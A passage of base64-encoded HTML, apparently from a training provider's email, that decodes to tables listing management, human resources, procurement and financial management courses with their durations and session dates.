czogMTsiPiZuYnNwOzwvc3Bhbj48YnIgc3R5bGU9ImNvbG9yOiByZ2IoMzQsIDM0LCAzNCk7 IGZvbnQtZmFtaWx5OiBhcmlhbCwgc2Fucy1zZXJpZjsgZm9udC1zaXplOiBzbWFsbDsgd2lk b3dzOiAxOyI+PHN0cm9uZz5NQU5BR0VNRU5UICZhbXA7IEhVTUFOIFJFU09VUkNFUyBDT1VS U0VTPC9zdHJvbmc+PC9wPjx0YWJsZSBib3JkZXI9IjEiIGNlbGxwYWRkaW5nPSIwIiBjZWxs c3BhY2luZz0iMCIgd2lkdGg9IjkzOCIgc3R5bGU9ImNvbG9yOiByZ2IoMzQsIDM0LCAzNCk7 IGZvbnQtZmFtaWx5OiBhcmlhbCwgc2Fucy1zZXJpZjsgZm9udC1zaXplOiBzbWFsbDsgd2lk b3dzOiAxOyI+PHRib2R5Pjx0cj48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+PHN0cm9uZz5N SFI8L3N0cm9uZz48L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij48c3Ryb25nPkNPVVJT RSBUSVRMRTwvc3Ryb25nPjwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjxzdHJvbmc+ RHVyYXRpb248L3N0cm9uZz48L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij48c3Ryb25n PkRhdGVzPC9zdHJvbmc+PC90ZD48L3RyPjx0cj48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+ PHN0cm9uZz4wMDE8L3N0cm9uZz48L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij5Tb2Np byDigJMgRWNvbm9taWMgUmVmb3JtcyAmYW1wOyBQcml2YXRpemF0aW9uPC90ZD48dGQgc3R5 bGU9Im1hcmdpbjogMHB4OyI+MiBXZWVrczwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsi PjA0IC0gMTUgQXByIC8gMDQgLSAxNSBKdWwgLyAyNCBPY3QgLSAwNCBOb3Y8L3RkPjwvdHI+ PHRyPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij48c3Ryb25nPjAwMjwvc3Ryb25nPjwvdGQ+ PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPlRvdXJpc20gTWFya2V0aW5nIGFuZCBEZXZlbG9w bWVudDwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjEgV2VlazwvdGQ+PHRkIHN0eWxl PSJtYXJnaW46IDBweDsiPjAzIC0gMDcgRmViIC8gMjMgLSAyNyBKdW4gLyAyOCBKdWwgLSAx QXVnPC90ZD48L3RyPjx0cj48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+PHN0cm9uZz4wMDM8 L3N0cm9uZz48L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij5Pcmdhbml6YXRpb24gUmVz dHJ1Y3R1cmluZyAmYW1wOyBDaGFuZ2UgTWFuYWdlbWVudDwvdGQ+PHRkIHN0eWxlPSJtYXJn aW46IDBweDsiPjEgV2VlazwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjI5IEZlYiAt IDA0IE1hciAvIDIwIC0gMjQgSnVuIC8gMDMgLSAwNyBPY3Q8L3RkPjwvdHI+PHRyPjx0ZCBz dHlsZT0ibWFyZ2luOiAwcHg7Ij48c3Ryb25nPjAwNDwvc3Ryb25nPjwvdGQ+PHRkIHN0eWxl PSJtYXJnaW46IDBweDsiPkhSIE1ndCZhbXA7IFBlcmZvcm1hbmNlIEVuaGFuY2VtZW50ICh3 aXRoIENvbXB1dGVyIEFwcGxpY2F0aW9ucyk8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7 Ij4yIFdlZWtzPC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+MjcgSmFuIC0gMDcgRmVi IC8gMjggSnVsIC0gMDggQXVnIC8gMjcgT2N0IC0gMDcgTm92PC90ZD48L3RyPjx0cj48dGQg c3R5bGU9Im1hcmdpbjogMHB4OyI+PHN0cm9uZz4wMDU8L3N0cm9uZz48L3RkPjx0ZCBzdHls ZT0ibWFyZ2luOiAwcHg7Ij5BZHZhbmNlZCBIdW1hbiBSZXNvdXJjZXMgKFdpdGggQ29tcHV0 ZXIgQXBwbGljYXRpb25zKTwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjIgV2Vla3M8 L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4wOCAtIDE5IEZlYiAvIDAxIC0gMTIgQXVn IC8gMDcgLSAxOCBOb3Y8L3RkPjwvdHI+PHRyPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij48 c3Ryb25nPjAwNjwvc3Ryb25nPjwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPk1hbmFn ZW1lbnQgRGV2LiBQcm9ncmFtbWUgZm9yIFBBcyAmYW1wOyBBZG1pbmlzdHJhdG9yczwvdGQ+ PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjIgV2Vla3M8L3RkPjx0ZCBzdHlsZT0ibWFyZ2lu OiAwcHg7Ij4wNCAtIDE1IEFwciAvIDA0IC0gMTUgSnVsIC8gMjQgT2N0IC0gMDQgTm92PC90 ZD48L3RyPjx0cj48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+PHN0cm9uZz4wMDc8L3N0cm9u Zz48L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij5TdXBlcnZpc29yeSAmYW1wOyBPcGVy YXRpb25zIE1hbmFnZW1lbnQod2l0aCBDb21wdXRlciBBcHBsaWNhdGlvbnMpPC90ZD48dGQg c3R5bGU9Im1hcmdpbjogMHB4OyI+MiBXZWVrczwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBw eDsiPjA0IC0gMTUgQXByIC8gMDQgLSAxNSBKdWwgLyAyNCBPY3QgLSAwNCBOb3Y8L3RkPjwv dHI+PHRyPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij48c3Ryb25nPjAwODwvc3Ryb25nPjwv dGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPkdyaWV2YW5jZSBIYW5kbGluZyBhbmQgSFIg TWFuYWdlbWVudDwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjIgV2Vla3M8L3RkPjx0 ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4yNyBKYW4gLSAwNyBGZWIgLyAyOCBKdWwgLSAwOCBB dWcgLyAyNyBPY3QgLSAwNyBOb3Y8L3RkPjwvdHI+PHRyPjx0ZCBzdHlsZT0ibWFyZ2luOiAw cHg7Ij48c3Ryb25nPjAwOTwvc3Ryb25nPjwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsi PlN0cmF0ZWdpYyBIdW1hbiBSZXNvdXJjZSBNYW5hZ2VtZW50ICh3aXRoIENvbXB1dGVyIEFw cGxpY2F0aW9ucyk8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4yIFdlZWtzPC90ZD48 dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+MDggLSAxOSBGZWIgLyAwMSAtIDEyIEF1ZyAvIDA3 IC0gMTggTm92PC90ZD48L3RyPjx0cj48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+PHN0cm9u Zz4wMTA8L3N0cm9uZz48L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij5Xb3JrcGxhY2Ug Q291bnNlbGluZyAmYW1wOyBlbXBsb3llZSB3ZWxmYXJlIE1hbmFnZW1lbnQ8L3RkPjx0ZCBz dHlsZT0ibWFyZ2luOiAwcHg7Ij4yIFdlZWtzPC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4 OyI+MjcgSmFuIC0gMDcgRmViIC8gMjggSnVsIC0gMDggQXVnIC8gMjcgT2N0IC0gMDcgTm92 PC90ZD48L3RyPjx0cj48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+PHN0cm9uZz4wMTE8L3N0 cm9uZz48L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij5PZmZpY2UgQWRtaW4mYW1wOyBC dXNpbmVzcyBNZXRob2RzICh3aXRoIENvbXB1dGVyIEFwcGxpY2F0aW9ucyk8L3RkPjx0ZCBz dHlsZT0ibWFyZ2luOiAwcHg7Ij4xIFdlZWs8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7 Ij4wMiAtIDA2IE1heSAvIDA1IC0gMDkgU2VwdCAvIDE0IC0gMTggTm92PC90ZD48L3RyPjx0 cj48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+PHN0cm9uZz4wMTI8L3N0cm9uZz48L3RkPjx0 ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij5MYWJvciBSZWxhdGlvbnMgJmFtcDsgQ29uZmxpY3Qg TWFuYWdlbWVudDwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjIgV2Vla3M8L3RkPjx0 ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4yNyBKYW4gLSAwNyBGZWIgLyAyOCBKdWwgLSAwOCBB dWcgLyAyNyBPY3QgLSAwNyBOb3Y8L3RkPjwvdHI+PHRyPjx0ZCBzdHlsZT0ibWFyZ2luOiAw cHg7Ij48c3Ryb25nPjAxMzwvc3Ryb25nPjwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsi PlBlcmZvcm1hbmNlIE1hbmFnZW1lbnQ8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4x IFdlZWs8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4yOSBGZWIgLSAwNCBNYXIgLyAy MCAtIDI0IEp1biAvIDAzIC0gMDcgT2N0PC90ZD48L3RyPjx0cj48dGQgc3R5bGU9Im1hcmdp bjogMHB4OyI+PHN0cm9uZz4wMTQ8L3N0cm9uZz48L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAw cHg7Ij5UcmFpbmVycyAmYW1wOyBFZHVjYXRvcnMgV29ya3Nob3A8L3RkPjx0ZCBzdHlsZT0i bWFyZ2luOiAwcHg7Ij4xIFdlZWs8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4yOSBG ZWIgLSAwNCBNYXIgLyAyMCAtIDI0IEp1biAvIDAzIC0gMDcgT2N0PC90ZD48L3RyPjx0cj48 dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+PHN0cm9uZz4wMTU8L3N0cm9uZz48L3RkPjx0ZCBz dHlsZT0ibWFyZ2luOiAwcHg7Ij5Db25zdWx0YW5jeSAmYW1wOyBBZHZpc29yeSBTZXJ2aWNl cyBNYW5hZ2VtZW50PC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+MiBXZWVrczwvdGQ+ PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjA4IC0gMTkgRmViIC8gMDEgLSAxMiBBdWcgLyAw NyAtIDE4IE5vdjwvdGQ+PC90cj48dHI+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjxzdHJv bmc+MDE2PC9zdHJvbmc+PC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+TWFuYWdlbWVu dCBTa2lsbHMgZm9yIEV4Y2VsbGVuY2U8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4y IFdlZWtzPC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+MjcgSmFuIC0gMDcgRmViIC8g MjggSnVsIC0gMDggQXVnIC8gMjcgT2N0IC0gMDcgTm92PC90ZD48L3RyPjwvdGJvZHk+PC90 YWJsZT48cCBzdHlsZT0ibWFyZ2luOjBweDtwYWRkaW5nOjBweDsiPjxzcGFuIHN0eWxlPSJj b2xvcjogcmdiKDM0LCAzNCwgMzQpOyBmb250LWZhbWlseTogYXJpYWwsIHNhbnMtc2VyaWY7 IGZvbnQtc2l6ZTogc21hbGw7IHdpZG93czogMTsiPiZuYnNwOzwvc3Bhbj48YnIgc3R5bGU9 ImNvbG9yOiByZ2IoMzQsIDM0LCAzNCk7IGZvbnQtZmFtaWx5OiBhcmlhbCwgc2Fucy1zZXJp ZjsgZm9udC1zaXplOiBzbWFsbDsgd2lkb3dzOiAxOyI+PHN0cm9uZz5QUk9DVVJFTUVOVCBB TkQgQ09NTUVSQ0lBTCBDT1VSU0VTPC9zdHJvbmc+PC9wPjx0YWJsZSBib3JkZXI9IjEiIGNl bGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCIgd2lkdGg9IjkzNSIgc3R5bGU9ImNvbG9y OiByZ2IoMzQsIDM0LCAzNCk7IGZvbnQtZmFtaWx5OiBhcmlhbCwgc2Fucy1zZXJpZjsgZm9u dC1zaXplOiBzbWFsbDsgd2lkb3dzOiAxOyI+PHRib2R5Pjx0cj48dGQgc3R5bGU9Im1hcmdp bjogMHB4OyI+PHN0cm9uZz5QQzwvc3Ryb25nPjwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBw eDsiPjxzdHJvbmc+Q09VUlNFIFRJVExFPC9zdHJvbmc+PC90ZD48dGQgc3R5bGU9Im1hcmdp bjogMHB4OyI+PHN0cm9uZz5EdXJhdGlvbjwvc3Ryb25nPjwvdGQ+PHRkIHN0eWxlPSJtYXJn aW46IDBweDsiPjxzdHJvbmc+RGF0ZXM8L3N0cm9uZz48L3RkPjwvdHI+PHRyPjx0ZCBzdHls ZT0ibWFyZ2luOiAwcHg7Ij48c3Ryb25nPjAwMTwvc3Ryb25nPjwvdGQ+PHRkIHN0eWxlPSJt YXJnaW46IDBweDsiPlByb2N1cmVtZW50IGFuZCBTdXBwbHkgQ2hhaW4gTWFuYWdlbWVudDwv dGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjIgV2Vla3M8L3RkPjx0ZCBzdHlsZT0ibWFy Z2luOiAwcHg7Ij4wOCAtIDE5IEZlYiAvIDAxIC0gMTIgQXVnIC8gMDcgLSAxOCBOb3Y8L3Rk PjwvdHI+PHRyPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij48c3Ryb25nPjAwMjwvc3Ryb25n PjwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPlByb2N1cmVtZW50ICZhbXA7IENvbnRy YWN0cyBNYW5hZ2VtZW50PC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+MiBXZWVrczwv dGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjA0IC0gMTUgQXByIC8gMDQgLSAxNSBKdWwg LyAyNCBPY3QgLSAwNCBOb3Y8L3RkPjwvdHI+PHRyPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7 Ij48c3Ryb25nPjAwMzwvc3Ryb25nPjwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPlBy b2N1cmVtZW50ICZhbXA7IFB1cmNoYXNpbmc8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7 Ij4xIFdlZWs8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4yOSBGZWIgLSAwNCBNYXIg LyAyMCAtIDI0IEp1biAvIDAzIC0gMDcgT2N0PC90ZD48L3RyPjx0cj48dGQgc3R5bGU9Im1h cmdpbjogMHB4OyI+PHN0cm9uZz4wMDQ8L3N0cm9uZz48L3RkPjx0ZCBzdHlsZT0ibWFyZ2lu OiAwcHg7Ij5Db21tZXJjaWFsIGFuZCBwcm9jdXJlbWVudDwvdGQ+PHRkIHN0eWxlPSJtYXJn aW46IDBweDsiPjIgV2Vla3M8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4wOCAtIDE5 IEZlYiAvIDAxIC0gMTIgQXVnIC8gMDcgLSAxOCBOb3Y8L3RkPjwvdHI+PHRyPjx0ZCBzdHls ZT0ibWFyZ2luOiAwcHg7Ij48c3Ryb25nPjAwNTwvc3Ryb25nPjwvdGQ+PHRkIHN0eWxlPSJt YXJnaW46IDBweDsiPkFmcmljYSBQcm9jdXJlbWVudCBjb3Vyc2U8L3RkPjx0ZCBzdHlsZT0i bWFyZ2luOiAwcHg7Ij4xIFdlZWs8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4yOSBG ZWIgLSAwNCBNYXIgLyAyMCAtIDI0IEp1biAvIDAzIC0gMDcgT2N0PC90ZD48L3RyPjx0cj48 dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+PHN0cm9uZz4wMDY8L3N0cm9uZz48L3RkPjx0ZCBz dHlsZT0ibWFyZ2luOiAwcHg7Ij5Db250cmFjdCBhbmQgU3VwcGxpZXIgTWFuYWdlbWVudDwv dGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjEgV2VlazwvdGQ+PHRkIHN0eWxlPSJtYXJn aW46IDBweDsiPjI5IEZlYiAtIDA0IE1hciAvIDIwIC0gMjQgSnVuIC8gMDMgLSAwNyBPY3Q8 L3RkPjwvdHI+PHRyPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij48c3Ryb25nPjAwNzwvc3Ry b25nPjwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPkVmZmVjdGl2ZSBOZWdvdGlhdGlv bnMgY291cnNlPC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+MiBXZWVrczwvdGQ+PHRk IHN0eWxlPSJtYXJnaW46IDBweDsiPjA0IC0gMTUgQXByIC8gMDQgLSAxNSBKdWwgLyAyNCBP Y3QgLSAwNCBOb3Y8L3RkPjwvdHI+PHRyPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij48c3Ry b25nPjAwODwvc3Ryb25nPjwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPkltcG9ydGFu Y2Ugb2YgUHVyY2hhc2luZyBDb250cmFjdHM8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7 Ij4yIFdlZWtzPC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+MDggLSAxOSBGZWIgLyAw MSAtIDEyIEF1ZyAvIDA3IC0gMTggTm92PC90ZD48L3RyPjx0cj48dGQgc3R5bGU9Im1hcmdp bjogMHB4OyI+PHN0cm9uZz4wMDk8L3N0cm9uZz48L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAw cHg7Ij5JbnRyb2R1Y3Rpb24gdG8gTmVnb3RpYXRpb248L3RkPjx0ZCBzdHlsZT0ibWFyZ2lu OiAwcHg7Ij4yIFdlZWtzPC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+MDQgLSAxNSBB cHIgLyAwNCAtIDE1IEp1bCAvIDI0IE9jdCAtIDA0IE5vdjwvdGQ+PC90cj48dHI+PHRkIHN0 eWxlPSJtYXJnaW46IDBweDsiPjxzdHJvbmc+MDEwPC9zdHJvbmc+PC90ZD48dGQgc3R5bGU9 Im1hcmdpbjogMHB4OyI+Um9sZSBhbmQgU2NvcGUgb2YgUHVyY2hhc2luZzwvdGQ+PHRkIHN0 eWxlPSJtYXJnaW46IDBweDsiPjIgV2Vla3M8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7 Ij4wOCAtIDE5IEZlYiAvIDAxIC0gMTIgQXVnIC8gMDcgLSAxOCBOb3Y8L3RkPjwvdHI+PHRy Pjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij48c3Ryb25nPjAxMTwvc3Ryb25nPjwvdGQ+PHRk IHN0eWxlPSJtYXJnaW46IDBweDsiPlN1cHBseSBDaGFpbiBhbmQgTWF0ZXJpYWxzIE1hbmFn ZW1lbnQ8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4xIFdlZWs8L3RkPjx0ZCBzdHls ZT0ibWFyZ2luOiAwcHg7Ij4yOSBGZWIgLSAwNCBNYXIgLyAyMCAtIDI0IEp1biAvIDAzIC0g MDcgT2N0PC90ZD48L3RyPjx0cj48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+PHN0cm9uZz4w MTI8L3N0cm9uZz48L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij5TeXN0ZW1zIGFuZCBQ cm9jZWR1cmVzIGluIFB1cmNoYXNpbmc8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4y IFdlZWtzPC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+MDQgLSAxNSBBcHIgLyAwNCAt IDE1IEp1bCAvIDI0IE9jdCAtIDA0IE5vdjwvdGQ+PC90cj48L3Rib2R5PjwvdGFibGU+PHAg c3R5bGU9Im1hcmdpbjowcHg7cGFkZGluZzowcHg7Ij48c3BhbiBzdHlsZT0iY29sb3I6IHJn YigzNCwgMzQsIDM0KTsgZm9udC1mYW1pbHk6IGFyaWFsLCBzYW5zLXNlcmlmOyBmb250LXNp emU6IHNtYWxsOyB3aWRvd3M6IDE7Ij4mbmJzcDs8L3NwYW4+PGJyIHN0eWxlPSJjb2xvcjog cmdiKDM0LCAzNCwgMzQpOyBmb250LWZhbWlseTogYXJpYWwsIHNhbnMtc2VyaWY7IGZvbnQt c2l6ZTogc21hbGw7IHdpZG93czogMTsiPjxzdHJvbmc+RklOQU5DSUFMIE1BTkFHRU1FTlQg Q09VUlNFUzwvc3Ryb25nPjwvcD48dGFibGUgYm9yZGVyPSIxIiBjZWxscGFkZGluZz0iMCIg Y2VsbHNwYWNpbmc9IjAiIHdpZHRoPSI5NDAiIHN0eWxlPSJjb2xvcjogcmdiKDM0LCAzNCwg MzQpOyBmb250LWZhbWlseTogYXJpYWwsIHNhbnMtc2VyaWY7IGZvbnQtc2l6ZTogc21hbGw7 IHdpZG93czogMTsiPjx0Ym9keT48dHI+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjxzdHJv bmc+Rk08L3N0cm9uZz48L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij48c3Ryb25nPkNP VVJTRSBUSVRMRTwvc3Ryb25nPjwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjxzdHJv bmc+RHVyYXRpb248L3N0cm9uZz48L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij48c3Ry b25nPkRhdGVzPC9zdHJvbmc+PC90ZD48L3RyPjx0cj48dGQgc3R5bGU9Im1hcmdpbjogMHB4 OyI+PHN0cm9uZz4wMDE8L3N0cm9uZz48L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij5B ZHZhbmNlZCBBdWRpdGluZyBQcm9ncmFtbWU8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7 Ij4xIFdlZWtzPC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+MDQgLSAwOCBKYW4gLyAw OSAtIDEzIE1heSAvIDI1IC0gMjkgSnVsPC90ZD48L3RyPjx0cj48dGQgc3R5bGU9Im1hcmdp bjogMHB4OyI+PHN0cm9uZz4wMDI8L3N0cm9uZz48L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAw cHg7Ij5BZHZhbmNlZCBCdWRnZXRpbmcgYW5kIEJ1ZGdldGFyeSBDb250cm9sPC90ZD48dGQg c3R5bGU9Im1hcmdpbjogMHB4OyI+MiBXZWVrczwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBw eDsiPjExIC0gMjIgSmFuIC8gMTUgLSAyNiBBdWcgLyAxOSZuYnNwOyAtIDMwIFNlcHQ8L3Rk PjwvdHI+PHRyPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij48c3Ryb25nPjAwMzwvc3Ryb25n PjwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPkFkdmFuY2VkIERlYnQgTWFuYWdlbWVu dDwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjMgV2Vla3M8L3RkPjx0ZCBzdHlsZT0i bWFyZ2luOiAwcHg7Ij4wNCAtIDIyIEphbiAvIDA0IC0gMjIgSnVsIC8gMDcgLSAyNSBOb3Y8 L3RkPjwvdHI+PHRyPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij48c3Ryb25nPjAwNDwvc3Ry b25nPjwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPkFkdmFuY2VkIEZpbmFuY2lhbCBN YW5hZ2VtZW50PC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+MiBXZWVrczwvdGQ+PHRk IHN0eWxlPSJtYXJnaW46IDBweDsiPjI1IEphbiAtIDA1IEZlYiAvIDA0IC0gMTUgSnVsIC8g MTAgLSAyMSBPY3Q8L3RkPjwvdHI+PHRyPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij48c3Ry b25nPjAwNTwvc3Ryb25nPjwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPkF1ZGl0aW5n IGFuZCBJbnRlcm5hbCBDb250cm9sPC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+MSBX ZWVrPC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+MTUgLSAxOSBGZWIgLyAyMCAtIDI0 IEp1biAvIDAxIC0gMDUgQXVnPC90ZD48L3RyPjx0cj48dGQgc3R5bGU9Im1hcmdpbjogMHB4 OyI+PHN0cm9uZz4wMDY8L3N0cm9uZz48L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij5C dWRnZXRpbmcgYW5kIEJ1ZGdldGFyeSBDb250cm9sPC90ZD48dGQgc3R5bGU9Im1hcmdpbjog MHB4OyI+MSBXZWVrPC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+MjkgRmViIC0gMDQg TWFyIC8gMjUgLSAyOSBKdWwmbmJzcDsgLyAxNCAtIDE4IE5vdjwvdGQ+PC90cj48dHI+PHRk IHN0eWxlPSJtYXJnaW46IDBweDsiPjxzdHJvbmc+MDA3PC9zdHJvbmc+PC90ZD48dGQgc3R5 bGU9Im1hcmdpbjogMHB4OyI+Q3JlZGl0IE1hbmFnZW1lbnQgLE1vbml0b3JpbmcgYW5kIENv bnRyb2w8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4xIFdlZWs8L3RkPjx0ZCBzdHls ZT0ibWFyZ2luOiAwcHg7Ij4yOSBGZWIgLSAwNCBNYXIgLyAwNiAtIDEwIEp1biAvIDI0IC0g MjggT2N0PC90ZD48L3RyPjx0cj48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+PHN0cm9uZz4w MDg8L3N0cm9uZz48L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij5DYXNoIE1ndCZhbXA7 IEJhbmsgUmVjb24uIGZvciBGaW5hbmNpYWwgJmFtcDsgQWNjb3VudGluZyBvZmZpY2Vyczwv dGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjIgV2Vla3M8L3RkPjx0ZCBzdHlsZT0ibWFy Z2luOiAwcHg7Ij4yNSBKYW4gLSAwNSBGZWIgLyAyNSBKdWx5IC0gMDUgQXVnIC8gMjQgT2N0 IC0gMDQgTm92PC90ZD48L3RyPjx0cj48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+PHN0cm9u Zz4wMDk8L3N0cm9uZz48L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij5GaW5hbmNpYWwg TWFuYWdlbWVudCBmb3IgRGVidCBNYW5hZ2VyIGFuZCBBZG1pbmlzdHJhdG9yczwvdGQ+PHRk IHN0eWxlPSJtYXJnaW46IDBweDsiPjIgV2Vla3M8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAw cHg7Ij4yMiBGZWIgLSA3IE1hciAvIDI2IE1heSAtIDA2IEp1biAvIDEzIC0gMjQgT2N0PC90 ZD48L3RyPjx0cj48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+PHN0cm9uZz4wMTA8L3N0cm9u Zz48L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij5GaW5hbmNpYWwgTWFuYWdlbWVudCBm b3IgUHJvamVjdCBBY2NvdW50YW50czwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjIg V2Vla3M8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4xMSAtIDIyIEphbiAvIDE1IC0g MjYgQXVnIC8gMDMgLSAxNCBPY3Q8L3RkPjwvdHI+PHRyPjx0ZCBzdHlsZT0ibWFyZ2luOiAw cHg7Ij48c3Ryb25nPjAxMTwvc3Ryb25nPjwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsi PkZpbmFuY2lhbCBNYW5hZ2VtZW50IGZvciBQZW5zaW9uIEFkbWluaXN0cmF0b3JzPC90ZD48 dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+MSBXZWVrPC90ZD48dGQgc3R5bGU9Im1hcmdpbjog MHB4OyI+MTUgLSAxOSBGZWIgLyAyMCAtIDI0IEp1biAvIDAxIC0gMDUgQXVnPC90ZD48L3Ry PjwvdGJvZHk+PC90YWJsZT48cCBzdHlsZT0ibWFyZ2luOjBweDtwYWRkaW5nOjBweDsiPjxz 